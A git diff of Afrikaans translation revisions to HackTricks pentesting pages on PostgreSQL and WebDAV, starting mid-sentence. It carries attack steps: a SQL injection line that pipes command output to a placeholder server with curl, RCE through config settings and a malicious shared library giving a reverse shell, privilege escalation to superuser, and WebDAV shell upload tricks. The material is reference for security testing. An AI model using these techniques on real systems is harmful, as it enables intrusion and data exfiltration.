vir volle regte. +5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die lêernode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae in op 1 vir volle regte. ```bash -python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} +python3 postgresql_filenode_editor.py -f {LÊERNODE} --datatype-csv {DATATIPE_CSV_VAN_STAP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatipe.gif) -6. Laai die gewysigde filenode weer op deur die `lo_*`-funksies, en oorskryf die oorspronklike lêer op die skyf +6. Laai die gewysigde lêernode weer op deur die `lo_*`-funksies, en oorskryf die oorspronklike lêer op die skyf ```sql -SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) -SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') +SELECT lo_from_bytea(13338,decode('{BASE64_GEËDITEERDE_LÊERNODE}','base64')) +SELECT lo_export(13338,'{PSQL_DATA_GIDS}/{RELASIE_PAD}') ``` -7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL-vraag uit te voer +7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL-navraag uit te voer ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) @@ -400,7 +398,7 @@ Jy kan ook 'n superadmin word deur die `pg_authid`-tabel te wysig. **Sien** [**d ### **RCE na program** -Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie gebruik vir RCE (voorbeeld met eksfiltrering: +Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie vir RCE gebruik (voorbeeld met eksfiltrering: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -436,13 +434,13 @@ Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf- ### RCE met PostgreSQL-uitbreidings -Nadat jy uit die vorige pos **geleer** het **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**. +Sodra jy **geleer** het van die vorige pos **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} -### PostgreSQL konfigurasie lêer RCE +### PostgreSQL konfigurasie-lêer RCE {% hint style="info" %} Die volgende RCE-vektore is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-stellings uitgevoer kan word @@ -459,7 +457,7 @@ Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/p Die konfigurasie-lêer het 'n paar interessante eienskappe wat tot RCE kan lei: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaatsleutel van die databasis -* `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die opdrag wat in hierdie eienskap aangedui word **uitvoer**. +* `ssl_passphrase_command = ''` As die privaatsleutel deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die opdrag wat in hierdie eienskap aangedui word **uitvoer**. * `ssl_passphrase_command_supports_reload = off` **Indien** hierdie eienskap **aan** is, sal die **opdrag** uitgevoer word as die sleutel deur 'n wagwoord beskerm word wanneer `pg_reload_conf()` **uitgevoer** word. Dan sal 'n aanvaller moet: @@ -474,7 +472,7 @@ Dan sal 'n aanvaller moet: 2. `ssl_passphrase_command_supports_reload = on` 6. Voer `pg_reload_conf()` uit -Tydens toetsing het ek opgemerk dat dit slegs sal werk as die **privaatsleutel lêer bevoegdhede 640** het, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is. +Tydens die toets van hierdie het ek opgemerk dat dit net sal werk as die **privaatsleutel-lêer bevoegdhede 640** het, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is. #### **RCE met archive\_command** @@ -500,15 +498,15 @@ Hierdie aanvalvektor maak gebruik van die volgende konfigurasie-veranderlikes: * `session_preload_libraries` -- biblioteke wat deur die PostgreSQL-bedienaar by die kliëntverbinding gelaai sal word. * `dynamic_library_path` -- lys van gids waar die PostgreSQL-bedienaar vir die biblioteke sal soek. -Ons kan die `dynamic_library_path` waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, byvoorbeeld die `/tmp/` gids, en 'n skadelike `.so` voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuutgelaai biblioteek te laai deur dit in die `session_preload_libraries` veranderlike in te sluit. +Ons kan die `dynamic_library_path`-waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, byvoorbeeld die `/tmp/`-gids, en 'n skadelike `.so`-voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuutgelaai biblioteek te laai deur dit in die `session_preload_libraries`-veranderlike in te sluit. Die aanvalstappe is: 1. Laai die oorspronklike `postgresql.conf` af -2. Sluit die `/tmp/` gids in die `dynamic_library_path` waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'` -3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries` waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'` -4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()` navraag -5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-dev-pakket Voorbeeldkode: +2. Sluit die `/tmp/`-gids in die `dynamic_library_path`-waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'` +3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries`-waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'` +4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()`-navraag +5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-ontwikkelingspakket Voorbeeldkode: ```c #include @@ -555,8 +553,8 @@ Kompilering van die kode: gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. Laai die skadelike `postgresql.conf`, geskep in stappe 2-3, af en oorskryf die oorspronklike een -7. Laai die `payload.so` van stap 5 na die `/tmp` gids -8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()` navraag te roep +7. Laai die `payload.so` van stap 5 na die `/tmp`-gids +8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()`-navraag te roep 9. By die volgende DB-verbinding sal jy die omgekeerde dopverbinding ontvang. ## **Postgres Privesc** @@ -564,9 +562,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Toekenning** -Volgens die [**dokumente**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **supergebruiker** is nie._ +Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **superuser** is nie._ -Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie supergebruikers is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer: +Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie superuser is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -584,7 +582,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc na SUPERUSER -Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings het om kode uit te voer** kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee: +Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings om kode uit te voer** ingesamel het, kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` @@ -602,13 +600,13 @@ host all all ::1/128 trust ### **WYSIG TABEL privesc** -In [**hierdie skryfstuk**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te misbruik deur die ALTER TABLE-voorreg wat aan die gebruiker verleen is. +In [**hierdie skrywe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te misbruik deur die ALTER TABLE-voorreg wat aan die gebruiker verleen is. Wanneer jy probeer om **'n ander gebruiker eienaar van 'n tabel te maak**, behoort jy 'n **fout** te kry wat dit voorkom, maar blykbaar het GCP daardie **opsie aan die nie-supergebruiker postgres-gebruiker** in GCP gegee:
-Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaartoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat beveel kan uitvoer omdat dit die toestemmings van die eienaar gebruik. +Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarskapstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat opdragte kan uitvoer omdat dit die toestemmings van die eienaar gebruik. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -618,9 +616,9 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 1. Begin deur 'n nuwe tabel te skep. 2. Voeg 'n paar irrelevante inhoud by die tabel in om data vir die indeksfunksie te voorsien. -3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak. +3. Ontwikkel 'n skadelike indeksfunksie wat 'n koderingsuitvoeringslading bevat, wat ongemagtigde bevele moontlik maak om uitgevoer te word. 4. WYSIG die eienaar van die tabel na "cloudsqladmin," wat GCP se supergebruikersrol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou. -5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skul bevel moontlik maak. +5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skel bevel moontlik maak. In PostgreSQL lyk hierdie vloei so iets: ```sql @@ -668,7 +666,7 @@ CREATE EXTENSION dblink; ``` {% endhint %} -As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP-adres in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer: +As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser @@ -711,13 +709,13 @@ CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` -En voer dan **bevele uit**: +En dan **voer opdragte uit**:
### Pas Burteforce toe met PL/pgSQL -**PL/pgSQL** is 'n **volledig uitgeligte programmeringstaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van **lusse** en ander **beheerstrukture** moontlik om programlogika te verbeter. Daarbenewens het **SQL-stellings** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie maak 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering moontlik.\ +**PL/pgSQL** is 'n **volledig uitgeruste programmeringstaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van **lusse** en ander **beheerstrukture** moontlik om programlogika te verbeter. Daarbenewens het **SQL-opdragte** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie maak 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering moontlik.\ **Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se geloofsbriewe te burteforce.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} @@ -727,22 +725,22 @@ En voer dan **bevele uit**: ### Privesc deur die Oorskryf van Interne PostgreSQL-tabelle {% hint style="info" %} -Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe uitgevoer kan word deur geneste SELECT-stellings +Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe uitgevoer kan word deur geneste SELECT-opdragte {% endhint %} -As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die PostgreSQL op skyf filenode te oorskryf wat verband hou met die interne `pg_authid`-tabel. +As jy **PostgreSQL-bedienerlêers kan lees en skryf**, kan jy **'n supergebruiker word** deur die oorskryf van die PostgreSQL op skyf filenode, wat verband hou met die interne `pg_authid`-tabel. Lees meer oor **hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** Die aanvalstappe is: 1. Verkryg die PostgreSQL-data-gids -2. Verkryg 'n relatiewe pad na die filenode wat verband hou met die `pg_authid`-tabel +2. Verkryg 'n relatiewe pad na die filenode, wat verband hou met die `pg_authid`-tabel 3. Laai die filenode af deur die `lo_*`-funksies 4. Kry die datatipe wat verband hou met die `pg_authid`-tabel 5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die filenode te wysig; stel alle `rol*` booleaanse vlae op 1 vir volle regte. 6. Laai die gewysigde filenode weer op via die `lo_*`-funksies en oorskryf die oorspronklike lêer op die skyf -7. _(Opsioneel)_ Maak die in-memory tabel-cache skoon deur 'n duur SQL-navraag uit te voer +7. _(Opsioneel)_ Maak die in-memory tabel-cache skoon deur 'n duur SQL-opdrag uit te voer 8. Jy behoort nou die regte van 'n volle superadmin te hê. ## **POST** @@ -755,7 +753,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### logging -Binne die _**postgresql.conf**_ lêer kan jy postgresql logboeke aktiveer deur te verander: +Binne die _**postgresql.conf**_ lêer kan jy postgresql-logboeke aktiveer deur te verander: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -769,7 +767,7 @@ Dan, **herlaai die diens**. ### pgadmin [pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\ -Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind\ +Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind.\ Jy kan hulle ontsluit deur die _**decrypt**_ funksie binne die skriffie te gebruik: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" @@ -779,7 +777,7 @@ string pgadmin4.db ``` ### pg\_hba -Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, versoekte databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier. +Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier. Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg\_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of teks in duidelike taal. Dit is belangrik om te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg\_authid geënkripteer is. @@ -800,7 +798,7 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik te bou en **werkvloei outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index f58cf8c10..22004895e 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -3,20 +3,20 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -28,18 +28,18 @@ Toegang tot die WebDav-bediener vereis tipies **geldige geloofsbriewe**, met [** Om beperkings op lêeroplaais te oorkom, veral dié wat die uitvoer van bedienerkant-skripte voorkom, kan jy: -* **Laai** lêers met **uitvoerbare uitbreidings** direk op as dit nie beperk word nie. -* **Hernoem** opgelaai nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding. -* **Kopieer** opgelaai nie-uitvoerbare lêers en verander hul uitbreiding na een wat uitvoerbaar is. +* **Lêers oplaai** met **uitvoerbare uitbreidings** direk as dit nie beperk word nie. +* **Hernoem** oplaai nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding. +* **Kopieer** oplaai nie-uitvoerbare lêers en verander hul uitbreiding na een wat uitvoerbaar is. ## DavTest -**Davtest** probeer om **verskeie lêers met verskillende uitbreidings** op te **laai** en **te toets** of die uitbreiding **uitgevoer** word: +**Davtest** probeer om **verskeie lêers met verskillende uitbreidings** te **oplaai** en te **toets** of die uitbreiding **uitgevoer** word: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` -## Voorbeeld: +## Afleweringsvoorbeeld: ![](<../../.gitbook/assets/image (851).png>) @@ -47,7 +47,7 @@ Dit beteken nie dat **.txt** en **.html-uitbreidings** uitgevoer word nie. Dit b ## Cadaver -Jy kan hierdie instrument gebruik om aan die WebDav-bediener te **koppel** en **handmatig** aksies (soos **oplaai**, **skuif** of **verwyder**) uit te voer. +Jy kan hierdie instrument gebruik om aan die WebDav-bediener te **koppel** en **handelinge** (soos **oplaai**, **skuif** of **verwyder**) **handmatig** uit te voer. ``` cadaver ``` @@ -55,27 +55,27 @@ cadaver ``` curl -T 'shell.txt' 'http://$ip' ``` -## MOVE versoek +## SKUIF versoek ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ```
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} ## IIS5/6 WebDav Swakheid Hierdie swakheid is baie interessant. Die **WebDav** staan **nie toe** om lêers met die uitbreiding **.asp** te **oplaai** of **hernoem** nie. Maar jy kan dit **verbygaan** deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt"** gebruik, maar **moet die ";" nie vergeet nie**). -Daarna kan jy jou dop as 'n ".**txt-lêer**" oplaai en dit na 'n ".asp;.txt-lêer" **kopieer/verskuif**. Deur daardie lêer deur die webbediener te benader, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het). +Daarna kan jy jou dop as 'n ".**txt-lêer**" oplaai en dit na 'n ".asp;.txt" lêer **kopieer/verskuif**. Deur daardie lêer via die webbediener te **benader**, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het). ![](<../../.gitbook/assets/image (1092).png>) -## Poslegitimasie +## Pos-gedragsbewyse As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na gekonfigureerde webwerwe in Apache. Gewoonlik:\ _**/etc/apache2/sites-enabled/000-default**_ @@ -91,7 +91,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Soos u kan sien, is daar die lêers met die geldige **geloofsbriewe** vir die **webdav**-bediener: +Soos u kan sien, is daar die lêers met die geldige **gelde** vir die **webdav**-bediener: ``` /etc/apache2/users.password ``` @@ -111,22 +111,22 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q
-Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 0c43cce46..95226aed3 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -10,22 +10,22 @@ Ander maniere om HackTricks te ondersteun: * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
